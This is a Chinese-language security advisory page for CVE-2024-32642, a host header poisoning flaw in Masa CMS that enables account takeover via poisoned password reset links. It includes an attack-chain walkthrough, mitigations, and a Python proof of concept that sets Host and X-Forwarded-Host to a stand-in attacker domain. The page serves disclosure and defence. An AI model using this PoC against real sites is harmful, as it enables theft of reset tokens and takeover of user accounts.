IPBUF安全漏洞报告
English
CVE-2024-32642 CVSS 8.8 高危

CVE-2024-32642 Masa CMS主机头中毒漏洞导致账户接管

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2024-32642
漏洞类型
主机头中毒 (Host Header Poisoning)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Masa CMS

相关标签

主机头中毒账户接管密码重置绕过Masa CMS高危漏洞CVE-2024-32642Web安全认证绕过

漏洞概述

CVE-2024-32642是Masa CMS中的一个高危安全漏洞,CVSS评分8.8分。该漏洞属于主机头中毒(Host Header Poisoning)类型,存在于7.2.8、7.3.13和7.4.6之前的版本中。攻击者可利用该漏洞通过操纵HTTP请求中的Host头部字段,诱使应用程序在生成的密码重置链接中使用攻击者控制的恶意域名。当用户点击该伪造的密码重置链接时,攻击者即可窃取用户的密码重置令牌,从而实现账户接管。由于密码重置功能是Web应用程序的常见功能,且该漏洞利用无需特殊权限,因此具有较高的安全风险。建议受影响的用户尽快升级到最新修复版本。

技术细节

主机头中毒漏洞源于应用程序过度信任HTTP请求中的Host头部字段,未进行充分的验证和过滤。在Masa CMS的密码重置功能中,系统会根据请求的Host头部生成密码重置链接并发送至用户邮箱。攻击者可以通过在HTTP请求中注入恶意的Host头部(如Host: evil.com),使密码重置邮件中的链接指向攻击者控制的域名。当用户点击该链接进行密码重置时,攻击者可以截获包含重置令牌的有效URL,进而重置用户密码并接管账户。此漏洞的利用条件包括:1)目标服务器未正确配置虚拟主机绑定;2)应用程序直接使用Host头部生成URL;3)需要诱导用户点击伪造的密码重置链接。修复方案应在生成URL时使用可信的服务器配置而非动态读取Host头部。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站上使用Masa CMS且版本低于7.2.8、7.3.13或7.4.6的实例
STEP 2
步骤2
攻击者构造包含恶意Host头部的HTTP请求,目标指向目标网站的密码重置端点
STEP 3
步骤3
目标Masa CMS应用程序未验证Host头部,直接使用该恶意值生成密码重置链接
STEP 4
步骤4
系统向受害者邮箱发送包含伪造密码重置链接的邮件,链接指向攻击者控制的域名
STEP 5
步骤5
受害者收到邮件后点击链接,密码重置请求被重定向至攻击者服务器
STEP 6
步骤6
攻击者获取密码重置令牌,冒充受害者完成密码重置,成功接管账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2024-32642 PoC - Host Header Poisoning for Account Takeover # Target: Masa CMS < 7.2.8, 7.3.13, 7.4.6 target_url = "http://target-site.com/index.cfm/fuseaction/users.lostpassword" payload_host = "evil-attacker.com" headers = { "Host": payload_host, "User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml", } response = requests.post( target_url, headers=headers, data={ "email": "[email protected]", "submit": "Submit" }, allow_redirects=False, verify=False ) # Check if the password reset email contains the attacker's domain if payload_host in response.text or response.status_code == 302: print(f"[+] Host Header Poisoning vulnerability confirmed!") print(f"[+] Malicious host injected: {payload_host}") print(f"[*] Check email for password reset link pointing to {payload_host}") else: print("[-] Vulnerability not detected or target not vulnerable") # Alternative: Check for X-Forwarded-Host header injection alt_headers = { "Host": "legitimate-site.com", "X-Forwarded-Host": payload_host, "User-Agent": "Mozilla/5.0", } response2 = requests.post( target_url, headers=alt_headers, data={"email": "[email protected]", "submit": "Submit"}, allow_redirects=False, verify=False ) if payload_host in str(response2.headers): print(f"[+] X-Forwarded-Host injection also works!")

影响范围

Masa CMS < 7.2.8
Masa CMS < 7.3.13
Masa CMS < 7.4.6

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器(如Apache/Nginx)配置中明确设置server_name,限制虚拟主机接受任意Host请求;2) 在应用程序层面对Host头部进行严格校验,仅允许预定义的可信域名;3) 监控和记录异常的密码重置请求日志;4) 考虑临时禁用密码重置功能或添加额外的身份验证步骤(如短信验证码);5) 使用反向代理限制对后端应用的直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表